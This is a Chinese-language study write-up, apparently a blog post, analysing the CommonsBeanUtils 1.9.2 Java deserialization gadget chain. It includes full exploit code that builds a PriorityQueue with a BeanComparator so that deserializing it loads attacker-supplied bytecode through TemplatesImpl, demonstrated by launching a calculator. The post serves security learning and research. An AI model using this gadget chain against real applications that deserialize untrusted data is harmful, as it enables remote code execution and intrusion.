keep going🏃♀️,有了前面的基础,这个应该不是很难,但是要学习新的java知识
环境
jdk8u65
commons-beanutils 1.9.2
参考Drunkbaby师傅给的环境
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| <dependency> <groupId>commons-beanutils</groupId> <artifactId>commons-beanutils</artifactId> <version>1.9.2</version> </dependency> <!-- https://mvnrepository.com/artifact/commons-collections/commons-collections --> <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.1</version> </dependency> <!-- https://mvnrepository.com/artifact/commons-logging/commons-logging --> <dependency> <groupId>commons-logging</groupId> <artifactId>commons-logging</artifactId> <version>1.2</version> </dependency>
|
CommonsBeanUtils介绍
CommonsBeanUtils是一个Apache库里的工具,用来简化对 Java Bean 的操作,比如
- 反射获取类的属性
- 动态设置属性值
- 类型转换
- Bean 之间的属性拷贝
Java Bean介绍文章
Java Bean 是符合特定规范的 Java 类,主要用于封装数据。其核心特征包括:
- 必须有无参构造方法(可通过默认构造器或显式定义)。
- 属性私有化(
private
修饰),通过公共的 getter
和 setter
方法访问。可以利用IDE快速生成getter
和setter
- 可序列化(实现
Serializable
接口,非强制但常见)。
写一个JavaBean
JAVA
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| package com;
import java.io.Serializable;
public class User implements Serializable { private String name; private int age;
public User() {}
public String getName() { return name; }
public void setName(String name) { this.name = name; }
public int getAge() { return age; }
public void setAge(int age) { this.age = age; } }
|
示例写一个User类,然后用Commons-BeanUtils 的PropertyUtils.getProperty
静态方法,让使用者可以直接调用任意 JavaBean 的 getter 方法

PropertyUtils.getProperty()
传入两个参数,第一个参数为 JavaBean 实例,第二个是 JavaBean 的属性,刚刚的
1 2 3
| PropertyUtils.getProperty(user, "name"); = user.getName("Flow");
|
PropertyUtils.getProperty` 还支持递归获取属性,比如a对象中有属性b,b对象中有属性c,我们可以通过PropertyUtils.getProperty(a,”b.c”); 的方式进行递归获取。通过这个方法,使用者可以很方便地调用任意对象的getter
除了这个CommonsBeanUtils还有很多方法可以对JavaBean进行操作,等后续再接触
CommonsBeanUtils链分析
已知这条链子最后用的是恶意类加载,之前用到的链子尾部是
1 2 3 4 5
| TemplatesImpl#getOutputProperties() ->TemplatesImpl#newTransformer() -> TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses() -> TransletClassLoader#defineClass()
|
说是getOutputProperties
算是一个getter方法,问了一下GPT,确实都符合条件

在 JavaBean规范 中,getter 方法的特点是:
1.方法名以 get 开头(或者对于 boolean 类型是 is 开头)。
2.后面跟着属性名的首字母大写版本。
3.必须是 public 访问权限。
4.返回一个属性的值。
所以我们可以用PropertyUtils.getProperty()
获取到,大概长这样
JAVA
1
| PropertyUtils.getProperty(templates,"outputProperties");
|
那现在看谁调用了PropertyUtils.getProperty()
,找到一个BeanComparator.compare()
,说到compare就熟了,前面CC4接触过,那就接上了!画了个图,看起来就是殊途同归

CommonsBeanUtils链EXP编写
JAVA
1 2 3 4 5 6 7 8 9 10 11 12 13
| public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException, InvocationTargetException, NoSuchMethodException { byte[] calc = Files.readAllBytes(Paths.get("/Users/lingtian/Downloads/Demo/CC3/target/classes/com/Calc.class")); TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates,"_name","Calc"); setFieldValue(templates,"_bytecodes",new byte[][]{calc});
BeanComparator beanComparator = new BeanComparator(); beanComparator.setProperty("outputProperties");
PriorityQueue priorityQueue = new PriorityQueue(beanComparator); priorityQueue.add(1); priorityQueue.add(2); }
|
卡在这里,在思考要怎么把templates作为o1传入compare,这里可以先运行尝试一下,因为PriorityQueue.add()
会自动跳到compare,顺着到链子后部分
1 2
| priorityQueue.add(templates); priorityQueue.add(templates);
|
这样执行会弹出计算机

因为BeanComparator刚好有setProperty
方法,经过测试,下面这两句效果一样
1 2
| beanComparator.setProperty("outputProperties"); setFieldValue(beanComparator,"property","outputProperties");
|
我们的目的是只在反序列化的时候才弹计算机,所以现在先add两个不会触发恶意类加载的值
这个时候 beanComparator.setProperty("outputProperties");
这句要注释掉,不然add过程中走到compare()会报错,可以看调试的时候,o1是个整形,他么得 outputProperties
,自然会报错,所以这一句要挪到add后

add后再用反射给priorityQueue的queue传入templates,设置BeanComparator.compare()的参数
1
| setFieldValue(priorityQueue, "queue", new Object[]{templates, templates});
|
最后的代码
JAVA
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException, InvocationTargetException, NoSuchMethodException { byte[] calc = Files.readAllBytes(Paths.get("/Users/lingtian/Downloads/Demo/CC3/target/classes/com/Calc.class")); TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates,"_name","Calc"); setFieldValue(templates,"_bytecodes",new byte[][]{calc});
BeanComparator beanComparator = new BeanComparator();
PriorityQueue priorityQueue = new PriorityQueue(beanComparator); priorityQueue.add(1); priorityQueue.add(1);
setFieldValue(priorityQueue, "queue", new Object[]{templates, templates}); setFieldValue(beanComparator,"property","outputProperties");
serialize(priorityQueue); unserialize("ser.txt"); }
|
碎碎念
这条链其实不难找,在尝试自己写的时候有点狭隘,感觉对队列这个数据结构不熟悉也是,有些地方钻了牛角尖
- 执行beanComparator的property反射修改在add前还是add后这里调了些时间
- 反射修改里面的new Object[]{templates, templates},亲测第一个对象一定要是templates,第二个对象可以随便
记录一下过程中的纠结以后回头看可能会有新的感谢,以上有任何不对的欢迎找我指正🙏
参考
https://drun1baby.top/2022/07/12/CommonsBeanUtils%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96
https://www.cnblogs.com/1vxyz/p/17588722.html
v1.5.2